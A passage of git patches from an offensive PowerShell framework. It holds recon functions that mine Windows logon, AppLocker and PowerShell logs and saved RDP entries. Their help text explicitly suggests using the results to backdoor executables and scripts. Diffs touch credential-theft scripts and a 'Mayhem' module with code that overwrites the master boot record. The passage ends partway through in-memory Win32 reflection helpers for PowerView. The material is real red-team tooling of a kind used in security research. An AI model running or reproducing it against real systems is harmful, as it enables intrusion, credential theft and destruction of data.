-cmatch "^Window\sManager$")) + { + $Key = $SourceAccountName + $SourceAccountDomain + $TargetAccountName + $TargetAccountDomain + $TargetServer + if (-not $ReturnInfo.ContainsKey($Key)) + { + $Properties = @{ + LogType = 4648 + LogSource = "Security" + SourceAccountName = $SourceAccountName + SourceDomainName = $SourceAccountDomain + TargetAccountName = $TargetAccountName + TargetDomainName = $TargetAccountDomain + TargetServer = $TargetServer + Count = 1 + Times = @($ExplicitLogon.TimeGenerated) + } + + $ResultObj = New-Object PSObject -Property $Properties + $ReturnInfo.Add($Key, $ResultObj) + } + else + { + $ReturnInfo[$Key].Count++ + $ReturnInfo[$Key].Times += ,$ExplicitLogon.TimeGenerated + } + } + } + + return $ReturnInfo +} + +function Find-4624Logons +{ +<# +.SYNOPSIS + +Find all unique 4624 Logon events to the server. This will tell you who is logging in and how. You can use this to figure out what accounts do +network logons in to the server, what accounts RDP in, what accounts log in locally, etc... + +Function: Find-4624Logons +Author: Joe Bialek, Twitter: @JosephBialek +Required Dependencies: None +Optional Dependencies: None +Version: 1.1 + +.DESCRIPTION + +Find all unique 4624 Logon events to the server. This will tell you who is logging in and how. You can use this to figure out what accounts do +network logons in to the server, what accounts RDP in, what accounts log in locally, etc... + +.EXAMPLE + +Find-4624Logons +Find unique 4624 logon events. + +.NOTES + +.LINK + +Blog: http://clymb3r.wordpress.com/ +Github repo: https://github.com/clymb3r/PowerShell +#> + Param ( + $SecurityLog + ) + + $Logons = $SecurityLog | Where {$_.InstanceID -eq 4624} + $ReturnInfo = @{} + + foreach ($Logon in $Logons) + { + $SubjectSection = $false + $NewLogonSection = $false + $NetworkInformationSection = $false + $AccountName = "" + $AccountDomain = "" + $LogonType = "" + $NewLogonAccountName = "" + $NewLogonAccountDomain = "" + $WorkstationName = "" + $SourceNetworkAddress = "" + $SourcePort = "" + + foreach ($line in $Logon.Message -Split "\r\n") + { + if ($line -cmatch "^Subject:$") + { + $SubjectSection = $true + } + elseif ($line -cmatch "^Logon\sType:\s+(\S.*)") + { + $LogonType = $Matches[1] + } + elseif ($line -cmatch "^New\sLogon:$") + { + $SubjectSection = $false + $NewLogonSection = $true + } + elseif ($line -cmatch "^Network\sInformation:$") + { + $NewLogonSection = $false + $NetworkInformationSection = $true + } + elseif ($SubjectSection) + { + if ($line -cmatch "^\s+Account\sName:\s+(\S.*)") + { + $AccountName = $Matches[1] + } + elseif ($line -cmatch "^\s+Account\sDomain:\s+(\S.*)") + { + $AccountDomain = $Matches[1] + } + } + elseif ($NewLogonSection) + { + if ($line -cmatch "^\s+Account\sName:\s+(\S.*)") + { + $NewLogonAccountName = $Matches[1] + } + elseif ($line -cmatch "^\s+Account\sDomain:\s+(\S.*)") + { + $NewLogonAccountDomain = $Matches[1] + } + } + elseif ($NetworkInformationSection) + { + if ($line -cmatch "^\s+Workstation\sName:\s+(\S.*)") + { + $WorkstationName = $Matches[1] + } + elseif ($line -cmatch "^\s+Source\sNetwork\sAddress:\s+(\S.*)") + { + $SourceNetworkAddress = $Matches[1] + } + elseif ($line -cmatch "^\s+Source\sPort:\s+(\S.*)") + { + $SourcePort = $Matches[1] + } + } + } + + #Filter out logins that don't matter + if (-not ($NewLogonAccountDomain -cmatch "NT\sAUTHORITY" -or $NewLogonAccountDomain -cmatch "Window\sManager")) + { + $Key = $AccountName + $AccountDomain + $NewLogonAccountName + $NewLogonAccountDomain + $LogonType + $WorkstationName + $SourceNetworkAddress + $SourcePort + if (-not $ReturnInfo.ContainsKey($Key)) + { + $Properties = @{ + LogType = 4624 + LogSource = "Security" + SourceAccountName = $AccountName + SourceDomainName = $AccountDomain + NewLogonAccountName = $NewLogonAccountName + NewLogonAccountDomain = $NewLogonAccountDomain + LogonType = $LogonType + WorkstationName = $WorkstationName + SourceNetworkAddress = $SourceNetworkAddress + SourcePort = $SourcePort + Count = 1 + Times = @($Logon.TimeGenerated) + } + + $ResultObj = New-Object PSObject -Property $Properties + $ReturnInfo.Add($Key, $ResultObj) + } + else + { + $ReturnInfo[$Key].Count++ + $ReturnInfo[$Key].Times += ,$Logon.TimeGenerated + } + } + } + + return $ReturnInfo +} + + +function Find-AppLockerLogs +{ +<# +.SYNOPSIS + +Look through the AppLocker logs to find processes that get run on the server. You can then backdoor these exe's (or figure out what they normally run). + +Function: Find-AppLockerLogs +Author: Joe Bialek, Twitter: @JosephBialek +Required Dependencies: None +Optional Dependencies: None +Version: 1.1 + +.DESCRIPTION + +Look through the AppLocker logs to find processes that get run on the server. You can then backdoor these exe's (or figure out what they normally run). + +.EXAMPLE + +Find-AppLockerLogs +Find process creations from AppLocker logs. + +.NOTES + +.LINK + +Blog: http://clymb3r.wordpress.com/ +Github repo: https://github.com/clymb3r/PowerShell +#> + $ReturnInfo = @{} + + $AppLockerLogs = Get-WinEvent -LogName "Microsoft-Windows-AppLocker/EXE and DLL" -ErrorAction SilentlyContinue | Where {$_.Id -eq 8002} + + foreach ($Log in $AppLockerLogs) + { + $SID = New-Object System.Security.Principal.SecurityIdentifier($Log.Properties[7].Value) + $UserName = $SID.Translate( [System.Security.Principal.NTAccount]) + + $ExeName = $Log.Properties[10].Value + + $Key = $UserName.ToString() + "::::" + $ExeName + + if (!$ReturnInfo.ContainsKey($Key)) + { + $Properties = @{ + Exe = $ExeName + User = $UserName.Value + Count = 1 + Times = @($Log.TimeCreated) + } + + $Item = New-Object PSObject -Property $Properties + $ReturnInfo.Add($Key, $Item) + } + else + { + $ReturnInfo[$Key].Count++ + $ReturnInfo[$Key].Times += ,$Log.TimeCreated + } + } + + return $ReturnInfo +} + + +Function Find-PSScriptsInPSAppLog +{ +<# +.SYNOPSIS + +Go through the PowerShell operational log to find scripts that run (by looking for ExecutionPipeline logs eventID 4100 in PowerShell app log). +You can then backdoor these scripts or do other malicious things. + +Function: Find-AppLockerLogs +Author: Joe Bialek, Twitter: @JosephBialek +Required Dependencies: None +Optional Dependencies: None +Version: 1.1 + +.DESCRIPTION + +Go through the PowerShell operational log to find scripts that run (by looking for ExecutionPipeline logs eventID 4100 in PowerShell app log). +You can then backdoor these scripts or do other malicious things. + +.EXAMPLE + +Find-PSScriptsInPSAppLog +Find unique PowerShell scripts being executed from the PowerShell operational log. + +.NOTES + +.LINK + +Blog: http://clymb3r.wordpress.com/ +Github repo: https://github.com/clymb3r/PowerShell +#> + $ReturnInfo = @{} + $Logs = Get-WinEvent -LogName "Microsoft-Windows-PowerShell/Operational" -ErrorAction SilentlyContinue | Where {$_.Id -eq 4100} + + foreach ($Log in $Logs) + { + $ContainsScriptName = $false + $LogDetails = $Log.Message -split "`r`n" + + $FoundScriptName = $false + foreach($Line in $LogDetails) + { + if ($Line -imatch "^\s*Script\sName\s=\s(.+)") + { + $ScriptName = $Matches[1] + $FoundScriptName = $true + } + elseif ($Line -imatch "^\s*User\s=\s(.*)") + { + $User = $Matches[1] + } + } + + if ($FoundScriptName) + { + $Key = $ScriptName + "::::" + $User + + if (!$ReturnInfo.ContainsKey($Key)) + { + $Properties = @{ + ScriptName = $ScriptName + UserName = $User + Count = 1 + Times = @($Log.TimeCreated) + } + + $Item = New-Object PSObject -Property $Properties + $ReturnInfo.Add($Key, $Item) + } + else + { + $ReturnInfo[$Key].Count++ + $ReturnInfo[$Key].Times += ,$Log.TimeCreated + } + } + } + + return $ReturnInfo +} + + +Function Find-RDPClientConnections +{ +<# +.SYNOPSIS + +Search the registry to find saved RDP client connections. This shows you what connections an RDP client has remembered, indicating what servers the user +usually RDP's to. + +Function: Find-RDPClientConnections +Author: Joe Bialek, Twitter: @JosephBialek +Required Dependencies: None +Optional Dependencies: None +Version: 1.1 + +.DESCRIPTION + +Search the registry to find saved RDP client connections. This shows you what connections an RDP client has remembered, indicating what servers the user +usually RDP's to. + +.EXAMPLE + +Find-RDPClientConnections +Find unique saved RDP client connections. + +.NOTES + +.LINK + +Blog: http://clymb3r.wordpress.com/ +Github repo: https://github.com/clymb3r/PowerShell +#> + $ReturnInfo = @{} + + New-PSDrive -Name HKU -PSProvider Registry -Root Registry::HKEY_USERS | Out-Null + + #Attempt to enumerate the servers for all users + $Users = Get-ChildItem -Path "HKU:\" + foreach ($UserSid in $Users.PSChildName) + { + $Servers = Get-ChildItem "HKU:\$($UserSid)\Software\Microsoft\Terminal Server Client\Servers" -ErrorAction SilentlyContinue + + foreach ($Server in $Servers) + { + $Server = $Server.PSChildName + $UsernameHint = (Get-ItemProperty -Path "HKU:\$($UserSid)\Software\Microsoft\Terminal Server Client\Servers\$($Server)").UsernameHint + + $Key = $UserSid + "::::" + $Server + "::::" + $UsernameHint + + if (!$ReturnInfo.ContainsKey($Key)) + { + $SIDObj = New-Object System.Security.Principal.SecurityIdentifier($UserSid) + $User = ($SIDObj.Translate([System.Security.Principal.NTAccount])).Value + + $Properties = @{ + CurrentUser = $User + Server = $Server + UsernameHint = $UsernameHint + } + + $Item = New-Object PSObject -Property $Properties + $ReturnInfo.Add($Key, $Item) + } + } + } + + return $ReturnInfo +} \ No newline at end of file -- cgit v1.2.3 From 12ce71b9f4b0428d9425e001e5988f91eb2b8b87 Mon Sep 17 00:00:00 2001 From: Matt Graeber Date: Wed, 4 Nov 2015 13:48:27 -0500 Subject: Normalizing all files to ascii encoding --- Exfiltration/Get-VaultCredential.ps1 | 4 ++-- Exfiltration/VolumeShadowCopyTools.ps1 | 4 ++-- Mayhem/Mayhem.psd1 | 2 +- Mayhem/Mayhem.psm1 | 8 ++++---- Recon/Get-ComputerDetails.ps1 | 4 ++-- 5 files changed, 11 insertions(+), 11 deletions(-) (limited to 'Recon') diff --git a/Exfiltration/Get-VaultCredential.ps1 b/Exfiltration/Get-VaultCredential.ps1 index c830fa2..57570e8 100644 --- a/Exfiltration/Get-VaultCredential.ps1 +++ b/Exfiltration/Get-VaultCredential.ps1 @@ -1,4 +1,4 @@ -function Get-VaultCredential +function Get-VaultCredential { <# .SYNOPSIS @@ -398,4 +398,4 @@ Only web credentials can be displayed in cleartext. $null = $Vaultcli::VaultCloseVault([Ref] $VaultHandle) } } -} \ No newline at end of file +} diff --git a/Exfiltration/VolumeShadowCopyTools.ps1 b/Exfiltration/VolumeShadowCopyTools.ps1 index 49fe22d..9d6952e 100644 --- a/Exfiltration/VolumeShadowCopyTools.ps1 +++ b/Exfiltration/VolumeShadowCopyTools.ps1 @@ -1,4 +1,4 @@ -function Get-VolumeShadowCopy +function Get-VolumeShadowCopy { <# .SYNOPSIS @@ -289,4 +289,4 @@ function Mount-VolumeShadowCopy { } -} \ No newline at end of file +} diff --git a/Mayhem/Mayhem.psd1 b/Mayhem/Mayhem.psd1 index 82035d8..8eb0566 100644 --- a/Mayhem/Mayhem.psd1 +++ b/Mayhem/Mayhem.psd1 @@ -1,4 +1,4 @@ -@{ +@{ # Script module or binary module file associated with this manifest. ModuleToProcess = 'Mayhem.psm1' diff --git a/Mayhem/Mayhem.psm1 b/Mayhem/Mayhem.psm1 index 0b4f843..0baaf3e 100644 --- a/Mayhem/Mayhem.psm1 +++ b/Mayhem/Mayhem.psm1 @@ -1,4 +1,4 @@ -function Set-MasterBootRecord +function Set-MasterBootRecord { <# .SYNOPSIS @@ -57,7 +57,7 @@ int CGh0stApp::KillMBR() DWORD dwBytesWritten, dwBytesReturned; BYTE pMBR[512] = {0}; - // 重新构造MBR + // ????MBR memcpy(pMBR, scode, sizeof(scode) - 1); pMBR[510] = 0x55; pMBR[511] = 0xAA; @@ -85,7 +85,7 @@ int CGh0stApp::KillMBR() &dwBytesReturned, NULL ); - // 写入病毒内容 + // ?????? WriteFile(hDevice, pMBR, sizeof(pMBR), &dwBytesWritten, NULL); DeviceIoControl ( @@ -363,4 +363,4 @@ Set-CriticalProcess -Force -Verbose { Stop-Process -Id $PID } -} \ No newline at end of file +} diff --git a/Recon/Get-ComputerDetails.ps1 b/Recon/Get-ComputerDetails.ps1 index 63ac1cb..33e8d06 100644 --- a/Recon/Get-ComputerDetails.ps1 +++ b/Recon/Get-ComputerDetails.ps1 @@ -1,4 +1,4 @@ -function Get-ComputerDetails +function Get-ComputerDetails { <# .SYNOPSIS @@ -577,4 +577,4 @@ Github repo: https://github.com/clymb3r/PowerShell } return $ReturnInfo -} \ No newline at end of file +} -- cgit v1.2.3 From 5fb690518d6fed522c57fcf0a33a4ca4d3b664af Mon Sep 17 00:00:00 2001 From: Harmj0y Date: Thu, 3 Dec 2015 21:50:45 -0500 Subject: Integration of PowerView into ./Recon/ --- Recon/PowerView.ps1 | 11064 ++++++++++++++++++++++++++++++++++++++++++++++++++ Recon/README.md | 127 + Recon/Recon.psd1 | 73 +- Recon/Usage.md | 12 - 4 files changed, 11260 insertions(+), 16 deletions(-) create mode 100644 Recon/PowerView.ps1 create mode 100644 Recon/README.md delete mode 100644 Recon/Usage.md (limited to 'Recon') diff --git a/Recon/PowerView.ps1 b/Recon/PowerView.ps1 new file mode 100644 index 0000000..7c195e8 --- /dev/null +++ b/Recon/PowerView.ps1 @@ -0,0 +1,11064 @@ +#requires -version 2 + +<# + + PowerSploit File: PowerView.ps1 + Author: Will Schroeder (@harmj0y) + License: BSD 3-Clause + Required Dependencies: None + Optional Dependencies: None + +#> + +######################################################## +# +# PSReflect code for Windows API access +# Author: @mattifestation +# https://raw.githubusercontent.com/mattifestation/PSReflect/master/PSReflect.psm1 +# +######################################################## + +function New-InMemoryModule +{ +<# + .SYNOPSIS + + Creates an in-memory assembly and module + + Author: Matthew Graeber (@mattifestation) + License: BSD 3-Clause + Required Dependencies: None + Optional Dependencies: None + + .DESCRIPTION + + When defining custom enums, structs, and unmanaged functions, it is + necessary to associate to an assembly module. This helper function + creates an in-memory module that can be passed to the 'enum', + 'struct', and Add-Win32Type functions. + + .PARAMETER ModuleName + + Specifies the desired name for the in-memory assembly and module. If + ModuleName is not provided, it will default to a GUID. + + .EXAMPLE + + $Module = New-InMemoryModule -ModuleName Win32 +#> + + Param + ( + [Parameter(Position = 0)] + [ValidateNotNullOrEmpty()] + [String] + $ModuleName = [Guid]::NewGuid().ToString() + ) + + $LoadedAssemblies = [AppDomain]::CurrentDomain.GetAssemblies() + + ForEach ($Assembly in $LoadedAssemblies) { + if ($Assembly.FullName -and ($Assembly.FullName.Split(',')[0] -eq $ModuleName)) { + return $Assembly + } + } + + $DynAssembly = New-Object Reflection.AssemblyName($ModuleName) + $Domain = [AppDomain]::CurrentDomain + $AssemblyBuilder = $Domain.DefineDynamicAssembly($DynAssembly, 'Run') + $ModuleBuilder = $AssemblyBuilder.DefineDynamicModule($ModuleName, $False) + + return $ModuleBuilder +} + + +# A helper function used to reduce typing while defining function +# prototypes for Add-Win32Type. +function func +{ + Param + ( + [Parameter(Position = 0, Mandatory = $True)] + [String] + $DllName, + + [Parameter(Position = 1, Mandatory = $True)] + [String] + $FunctionName, + + [Parameter(Position = 2, Mandatory = $True)] + [Type] + $ReturnType, + + [Parameter(Position = 3)] + [Type[]] + $ParameterTypes, + + [Parameter(Position = 4)] + [Runtime.InteropServices.CallingConvention] + $NativeCallingConvention, + + [Parameter(Position = 5)] + [Runtime.InteropServices.CharSet] + $Charset, + + [Switch] + $SetLastError + ) + + $Properties = @{ + DllName = $DllName + FunctionName = $FunctionName + ReturnType = $ReturnType + } + + if ($ParameterTypes) { $Properties['ParameterTypes'] = $ParameterTypes } + if ($NativeCallingConvention) { $Properties['NativeCallingConvention'] = $NativeCallingConvention } + if ($Charset) { $Properties['Charset'] = $Charset } + if ($SetLastError) { $Properties['SetLastError'] = $SetLastError } + + New-Object PSObject -Property $Properties +} + + +function Add-Win32Type +{ +<# + .SYNOPSIS + + Creates a .NET type for an unmanaged Win32 function. + + Author: Matthew Graeber (@mattifestation) + License: BSD 3-Clause + Required Dependencies: None + Optional Dependencies: func + + .DESCRIPTION + + Add-Win32Type enables you to easily interact with unmanaged (i.e. + Win32 unmanaged) functions in PowerShell. After providing + Add-Win32Type with a function signature, a .NET type is created + using reflection (i.e. csc.exe is never called like with Add-Type). + + The 'func' helper function can be used to reduce typing when defining + multiple function definitions. + + .PARAMETER DllName + + The name of the DLL. + + .PARAMETER FunctionName + + The name of the target function. + + .PARAMETER ReturnType + + The return type of the function. + + .PARAMETER ParameterTypes + + The function parameters. + + .PARAMETER NativeCallingConvention + + Specifies the native calling convention of the function. Defaults to + stdcall. + + .PARAMETER Charset + + If you need to explicitly call an 'A' or 'W' Win32 function, you can + specify the character set. + + .PARAMETER SetLastError + + Indicates whether the callee calls the SetLastError Win32 API + function before returning from the attributed method. + + .PARAMETER Module + + The in-memory module that will host the functions. Use + New-InMemoryModule to define an in-memory module. + + .PARAMETER Namespace + + An optional namespace to prepend to the type. Add-Win32Type defaults + to a namespace consisting only of the name of the DLL. + + .EXAMPLE + + $Mod = New-InMemoryModule -ModuleName Win32 + + $FunctionDefinitions = @( + (func kernel32 GetProcAddress ([IntPtr]) @([IntPtr], [String]) -Charset Ansi -SetLastError), + (func kernel32 GetModuleHandle ([Intptr]) @([String]) -SetLastError), + (func ntdll RtlGetCurrentPeb ([IntPtr]) @()) + ) + + $Types = $FunctionDefinitions | Add-Win32Type -Module $Mod -Namespace 'Win32' + $Kernel32 = $Types['kernel32'] + $Ntdll = $Types['ntdll'] + $Ntdll::RtlGetCurrentPeb() + $ntdllbase = $Kernel32::GetModuleHandle('ntdll') + $Kernel32::GetProcAddress($ntdllbase, 'RtlGetCurrentPeb') + + .NOTES + + Inspired by Lee Holmes' Invoke-WindowsApi http://poshcode.org/2189 + + When defining multiple function prototypes, it is ideal to provide + Add-Win32Type with an array of function signatures. That way, they + are all incorporated into the same in-memory module. +#> + + [OutputType([Hashtable])] + Param( + [Parameter(Mandatory = $True, ValueFromPipelineByPropertyName = $True)] + [String] + $DllName, + + [Parameter(Mandatory = $True, ValueFromPipelineByPropertyName = $True)] + [String] + $FunctionName, + + [Parameter(Mandatory = $True, ValueFromPipelineByPropertyName = $True)] + [Type] + $ReturnType, + + [Parameter(ValueFromPipelineByPropertyName = $True)] + [Type[]] + $ParameterTypes, + + [Parameter(ValueFromPipelineByPropertyName = $True)] + [Runtime.InteropServices.CallingConvention] + $NativeCallingConvention = [Runtime.InteropServices.CallingConvention]::StdCall, + + [Parameter(ValueFromPipelineByPropertyName = $True)] + [Runtime.InteropServices.CharSet] + $Charset = [Runtime.InteropServices.CharSet]::Auto, + + [Parameter(ValueFromPipelineByPropertyName = $True)] + [Switch] + $SetLastError, + + [Parameter(Mandatory = $True)] + [ValidateScript({($_ -is [Reflection.Emit.ModuleBuilder]) -or ($_ -is [Reflection.Assembly])})] + $Module, + + [ValidateNotNull()] + [String] + $Namespace = '' + ) + + BEGIN + { + $TypeHash = @{} + } + + PROCESS + { + if ($Module -is [Reflection.Assembly]) + { + if ($Namespace) + { + $TypeHash[$DllName] = $Module.GetType("$Namespace.$DllName") + } + else + { + $TypeHash[$DllName] = $Module.GetType($DllName) + } + } + else + { + # Define one type for each DLL + if (!$TypeHash.ContainsKey($DllName)) + { + if ($Namespace) + { + $TypeHash[$DllName] = $Module.DefineType("$Namespace.$DllName", 'Public,BeforeFieldInit') + } + else + { + $TypeHash[$DllName] = $Module.DefineType($DllName, 'Public,BeforeFieldInit') + } + } + + $Method = $TypeHash[$DllName].DefineMethod( + $FunctionName, + 'Public,Static,PinvokeImpl', + $ReturnType, + $ParameterTypes) + + # Make each ByRef parameter an Out parameter + $i = 1 + ForEach($Parameter in $ParameterTypes) + { + if ($Parameter.IsByRef) + { + [void] $Method.DefineParameter($i, 'Out', $Null) + } + + $i++ + } + + $DllImport = [Runtime.InteropServices.DllImportAttribute] + $SetLastErrorField = $DllImport.GetField('SetLastError') + $CallingConventionField = $DllImport.GetField('CallingConvention') + $CharsetField = $DllImport.GetField('CharSet') + if ($SetLastError) { $SLEValue = $True } else { $SLEValue = $False } + + # Equivalent to C# version of [DllImport(DllName)] + $Constructor = [Runtime.InteropServices.DllImportAttribute].GetConstructor([String]) + $DllImportAttribute = New-Object Reflection.Emit.CustomAttributeBuilder($Constructor, + $DllName, [Reflection.PropertyInfo[]] @(), [Object[]] @(), + [Reflection.FieldInfo[]] @($SetLastErrorField, $CallingConventionField, $CharsetField), + [Object[]] @($SLEValue, ([Runtime.InteropServices.CallingConvention] $NativeCallingConvention), ([Runtime.InteropServices.CharSet] $Charset))) + + $Method.SetCustomAttribute($DllImportAttribute) + } + } + + END + { + if ($Module -is [Reflection.Assembly]) + { + return $TypeHash + } + + $ReturnTypes = @{} + + ForEach ($Key in $TypeHash.Keys) + { + $Type = $TypeHash[$Key].CreateType() + + $ReturnTypes[$Key] = $Type + } + + return $ReturnTypes + } +} + + +function psenum +{ +<# + .SYNOPSIS + + Creates an in-memory enumeration for use in your PowerShell session. + + Author: Matthew Graeber (@mattifestation) + License: BSD 3-Clause + Required Dependencies: None + Optional Dependencies: None + + .DESCRIPTION + + The 'psenum' function facilitates the creation of enums entirely in + memory using as close to a "C style" as PowerShell will allow. + + .PARAMETER Module + + The in-memory module that will host the enum. Use + New-InMemoryModule to define an in-memory module. + + .PARAMETER FullName + + The fully-qualified name of the enum. + + .PARAMETER Type + + The type of each enum element. + + .PARAMETER EnumElements + + A hashtable of enum elements. + + .PARAMETER Bitfield + + Specifies that the enum should be treated as a bitfield. + + .EXAMPLE + + $Mod = New-InMemoryModule -ModuleName Win32 + + $ImageSubsystem = psenum $Mod PE.IMAGE_SUBSYSTEM UInt16 @{ + UNKNOWN = 0 + NATIVE = 1 # Image doesn't require a subsystem. + WINDOWS_GUI = 2 # Image runs in the Windows GUI subsystem. + WINDOWS_CUI = 3 # Image runs in the Windows character subsystem. + OS2_CUI = 5 # Image runs in the OS/2 character subsystem. + POSIX_CUI = 7 # Image runs in the Posix character subsystem. + NATIVE_WINDOWS = 8 # Image is a native Win9x driver. + WINDOWS_CE_GUI = 9 # Image runs in the Windows CE subsystem. + EFI_APPLICATION = 10 + EFI_BOOT_SERVICE_DRIVER = 11 + EFI_RUNTIME_DRIVER = 12 + EFI_ROM = 13 + XBOX = 14 + WINDOWS_BOOT_APPLICATION = 16 + } + + .NOTES + + PowerShell purists may disagree with the naming of this function but + again, this was developed in such a way so as to emulate a "C style" + definition as closely as possible. Sorry, I'm not going to name it + New-Enum. :P +#> + + [OutputType([Type])] + Param + ( + [Parameter(Position = 0, Mandatory = $True)] + [ValidateScript({($_ -is [Reflection.Emit.ModuleBuilder]) -or ($_ -is [Reflection.Assembly])})] + $Module, + + [Parameter(Position = 1, Mandatory = $True)] + [ValidateNotNullOrEmpty()] + [String] + $FullName, + + [Parameter(Position = 2, Mandatory = $True)] + [Type] + $Type, + + [Parameter(Position = 3, Mandatory = $True)] + [ValidateNotNullOrEmpty()] + [Hashtable] + $EnumElements, + + [Switch] + $Bitfield + ) + + if ($Module -is [Reflection.Assembly]) + { + return ($Module.GetType($FullName)) + } + + $EnumType = $Type -as [Type] + + $EnumBuilder = $Module.DefineEnum($FullName, 'Public', $EnumType) + + if ($Bitfield) + { + $FlagsConstructor = [FlagsAttribute].GetConstructor(@()) + $FlagsCustomAttribute = New-Object Reflection.Emit.CustomAttributeBuilder($FlagsConstructor, @()) + $EnumBuilder.SetCustomAttribute($FlagsCustomAttribute) + } + + ForEach ($Key in $EnumElements.Keys) + { + # Apply the specified enum type to each element + $Null = $EnumBuilder.DefineLiteral($Key, $EnumElements[$Key] -as $EnumType) + } + + $EnumBuilder.CreateType() +} + + +# A helper function used to reduce typing while defining struct +# fields. +function field +{ + Param + ( + [Parameter(Position = 0, Mandatory = $True)] + [UInt16] + $Position, + + [Parameter(Position = 1, Mandatory = $True)] + [Type] + $Type, + + [Parameter(Position = 2)] + [UInt16] + $Offset, + + [Object[]] + $MarshalAs + ) + + @{ + Position = $Position + Type = $Type -as [Type] + Offset = $Offset + MarshalAs = $MarshalAs + } +} + + +function struct +{ +<# + .SYNOPSIS + + Creates an in-memory struct for use in your PowerShell session. + + Author: Matthew Graeber (@mattifestation) + License: BSD 3-Clause + Required Dependencies: None + Optional Dependencies: field + + .DESCRIPTION + + The 'struct' function facilitates the creation of structs entirely in + memory using as close to a "C style" as PowerShell will allow. Struct + fields are specified using a hashtable where each field of the struct + is comprosed of the order in which it should be defined, its .NET + type, and optionally, its offset and special marshaling attributes. + + One of the features of 'struct' is that after your struct is defined, + it will come with a built-in GetSize method as well as an explicit + converter so that you can easily cast an IntPtr to the struct without + relying upon calling SizeOf and/or PtrToStructure in the Marshal + class. + + .PARAMETER Module + + The in-memory module that will host the struct. Use + New-InMemoryModule to define an in-memory module. + + .PARAMETER FullName + + The fully-qualified name of the struct. + + .PARAMETER StructFields + + A hashtable of fields. Use the 'field' helper function to ease + defining each field. + + .PARAMETER PackingSize + + Specifies the memory alignment of fields. + + .PARAMETER ExplicitLayout + + Indicates that an explicit offset for each field will be specified. + + .EXAMPLE + + $Mod = New-InMemoryModule -ModuleName Win32 + + $ImageDosSignature = psenum $Mod PE.IMAGE_DOS_SIGNATURE UInt16 @{ + DOS_SIGNATURE = 0x5A4D + OS2_SIGNATURE = 0x454E + OS2_SIGNATURE_LE = 0x454C + VXD_SIGNATURE = 0x454C + } + + $ImageDosHeader = struct $Mod PE.IMAGE_DOS_HEADER @{ + e_magic = field 0 $ImageDosSignature + e_cblp = field 1 UInt16 + e_cp = field 2 UInt16 + e_crlc = field 3 UInt16 + e_cparhdr = field 4 UInt16 + e_minalloc = field 5 UInt16 + e_maxalloc = field 6 UInt16 + e_ss = field 7 UInt16 + e_sp = field 8 UInt16 + e_csum = field 9 UInt16 + e_ip = field 10 UInt16 + e_cs = field 11 UInt16 + e_lfarlc = field 12 UInt16 + e_ovno = field 13 UInt16 + e_res = field 14 UInt16[] -MarshalAs @('ByValArray', 4) + e_oemid = field 15 UInt16 + e_oeminfo = field 16 UInt16 + e_res2 = field 17 UInt16[] -MarshalAs @('ByValArray', 10) + e_lfanew = field 18 Int32 + } + + # Example of using an explicit layout in order to create a union. + $TestUnion = struct $Mod TestUnion @{ + field1 = field 0 UInt32 0 + field2 = field 1 IntPtr 0 + } -ExplicitLayout + + .NOTES + + PowerShell purists may disagree with the naming of this function but + again, this was developed in such a way so as to emulate a "C style" + definition as closely as possible. Sorry, I'm not going to name it + New-Struct. :P +#> + + [OutputType([Type])] + Param + ( + [Parameter(Position = 1, Mandatory = $True)] + [ValidateScript({($_ -is [Reflection.Emit.ModuleBuilder]) -or ($_ -is [Reflection.Assembly])})] + $Module, + + [Parameter(Position = 2, Mandatory = $True)] + [ValidateNotNullOrEmpty()] + [String] + $FullName, + + [Parameter(Position = 3, Mandatory = $True)] + [ValidateNotNullOrEmpty()] + [Hashtable] + $StructFields, + + [Reflection.Emit.PackingSize] + $PackingSize = [Reflection.Emit.PackingSize]::Unspecified, + + [Switch] + $ExplicitLayout + ) + + if ($Module -is [Reflection.Assembly]) + { + return ($Module.GetType($FullName)) + } + + [Reflection.TypeAttributes] $StructAttributes = 'AnsiClass, + Class, + Public, + Sealed, + BeforeFieldInit' + + if ($ExplicitLayout) + { + $StructAttributes = $StructAttributes -bor [Reflection.TypeAttributes]::ExplicitLayout + } + else + { + $StructAttributes = $StructAttributes -bor [Reflection.TypeAttributes]::SequentialLayout + } + + $StructBuilder = $Module.DefineType($FullName, $StructAttributes, [ValueType], $PackingSize) + $ConstructorInfo = [Runtime.InteropServices.MarshalAsAttribute].GetConstructors()[0] + $SizeConst = @([Runtime.InteropServices.MarshalAsAttribute].GetField('SizeConst')) + + $Fields = New-Object Hashtable[]($StructFields.Count) + + # Sort each field according to the orders specified + # Unfortunately, PSv2 doesn't have the luxury of the + # hashtable [Ordered] accelerator. + ForEach ($Field in $StructFields.Keys) + { + $Index = $StructFields[$Field]['Position'] + $Fields[$Index] = @{FieldName = $Field; Properties = $StructFields[$Field]} + } + + ForEach ($Field in $Fields) + { + $FieldName = $Field['FieldName'] + $FieldProp = $Field['Properties'] + + $Offset = $FieldProp['Offset'] + $Type = $FieldProp['Type'] + $MarshalAs = $FieldProp['MarshalAs'] + + $NewField = $StructBuilder.DefineField($FieldName, $Type, 'Public') + + if ($MarshalAs) + { + $UnmanagedType = $MarshalAs[0] -as ([Runtime.InteropServices.UnmanagedType]) + if ($MarshalAs[1]) + { + $Size = $MarshalAs[1] + $AttribBuilder = New-Object Reflection.Emit.CustomAttributeBuilder($ConstructorInfo, + $UnmanagedType, $SizeConst, @($Size)) + } + else + { + $AttribBuilder = New-Object Reflection.Emit.CustomAttributeBuilder($ConstructorInfo, [Object[]] @($UnmanagedType)) + } + + $NewField.SetCustomAttribute($AttribBuilder) + } + + if ($ExplicitLayout) { $NewField.SetOffset($Offset) } + } + + # Make the struct aware of its own size. + # No more having to call [Runtime.InteropServices.Marshal]::SizeOf! + $SizeMethod = $StructBuilder.DefineMethod('GetSize', + 'Public, Static', + [Int], + [Type[]] @()) + $ILGenerator = $SizeMethod.GetILGenerator() + # Thanks for the help, Jason Shirk! + $ILGenerator.Emit([Reflection.Emit.OpCodes]::Ldtoken, $StructBuilder) + $ILGenerator.Emit([Reflection.Emit.OpCodes]::Call, + [Type].GetMethod('GetTypeFromHandle')) + $ILGenerator.Emit([Reflection.Emit.OpCodes]::Call, + [Runtime.InteropServices.Marshal].GetMethod('SizeOf', [Type[]] @([Type]))) + $ILGenerator.Emit([Reflection.Emit.OpCodes]::Ret) + + # Allow for explicit casting from an IntPtr + # No more having to call [Runtime.InteropServices.Marshal]::PtrToStructure! + $ImplicitConverter = $StructBuilder.DefineMethod('op_Implicit', + 'PrivateScope, Public, Static, HideBySig, SpecialName', + $StructBuilder, + [Type[]] @([IntPtr])) + $ILGenerator2 = $ImplicitConverter.GetILGenerator() + $ILGenerator2.Emit([Reflection.Emit.OpCodes]::Nop) + 